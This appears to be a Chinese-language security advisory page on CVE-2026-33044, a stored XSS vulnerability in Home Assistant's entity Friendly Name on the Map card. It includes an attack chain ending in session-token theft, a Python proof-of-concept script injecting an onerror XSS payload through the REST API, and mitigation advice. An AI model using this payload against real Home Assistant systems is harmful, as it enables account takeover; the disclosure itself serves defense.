IPBUF安全漏洞报告
English
CVE-2026-33044 CVSS 5.4 中危

CVE-2026-33044 Home Assistant 存储型XSS漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33044
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Home Assistant

相关标签

XSSHome Assistant存储型XSSCWE-79GHSA-r584-6283-p7xc

漏洞概述

Home Assistant是一款开源家庭自动化软件。在2020.02至2026.01之前的版本中,系统未对设备实体名称进行充分过滤。经过身份验证的攻击者可注入恶意脚本,当受害者在地图卡片上悬停查看该实体信息时,将触发存储型XSS攻击,可能导致数据泄露。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS),根因在于Home Assistant后端对设备实体“Friendly Name”属性的输入验证不足,且前端Map-card组件在渲染时未进行适当的上下文感知编码。攻击者首先需要获取一个有效的Home Assistant账户(权限等级较低即可),随后通过HTTP API或Web界面修改设备实体的友好名称,注入恶意的HTML/JavaScript载荷(如`<img src=x onerror=alert(1)>`)。系统将此恶意名称持久化存储在数据库中。当管理员或其他拥有查看权限的用户打开集成了该实体的地图卡片仪表盘,并将鼠标悬停在地图上的对应信息点时,前端会直接解析该名称,导致恶意代码在受害者的浏览器中执行。由于CVSS向量包含S:C(Scope Changed),攻击者可能利用此漏洞绕过同源策略,窃取受害者的认证Token,进而完全接管Home Assistant系统,甚至结合其他漏洞实现远程代码执行。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个Home Assistant的低权限账户(满足PR:L要求)。
STEP 2
2. 注入恶意载荷
攻击者通过API或Web界面,修改某个设备实体的“Friendly Name”,填入包含JavaScript代码的恶意字符串(如XSS Payload)。
STEP 3
3. 诱导访问
攻击者等待或诱导管理员或具有查看权限的用户访问包含该实体的仪表盘页面。
STEP 4
4. 触发漏洞
受害用户在查看地图卡片时,将鼠标悬停在受感染的实体信息点上,浏览器解析未经过滤的名称并执行恶意脚本。
STEP 5
5. 执行攻击
恶意脚本在受害者浏览器中运行,窃取Session Token或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-33044 # Demonstrates how an authenticated attacker can inject XSS via entity name. TARGET = "http://home-assistant.local:8123" TOKEN = "YOUR_LONG_LIVED_ACCESS_TOKEN" ENTITY_ID = "device_tracker.test_device" HEADERS = { "Authorization": f"Bearer {TOKEN}", "content-type": "application/json", } # Payload designed to trigger when hovering over the map point # Assuming the name is rendered inside an HTML attribute or tag context MALICIOUS_NAME = '"><img src=x onerror=alert(\'CVE-2026-33044\')>' DATA = { "attributes": { "friendly_name": MALICIOUS_NAME } } try: response = requests.post( f"{TARGET}/api/states/{ENTITY_ID}", headers=HEADERS, json=DATA ) if response.status_code == 200: print("[+] Payload injected successfully!") print(f"[*] Hover over the entity '{ENTITY_ID}' on a Map card to trigger the XSS.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Home Assistant >= 2020.02, < 2026.01

防御指南

临时缓解措施
建议立即升级到修复版本。若无法立即升级,应严格审查并过滤所有设备实体的“Friendly Name”字段,确保不包含HTML特殊字符(如 <, >, ", ')。同时,限制用户权限,仅允许受信用户修改设备配置,并检查现有的实体名称是否已被篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表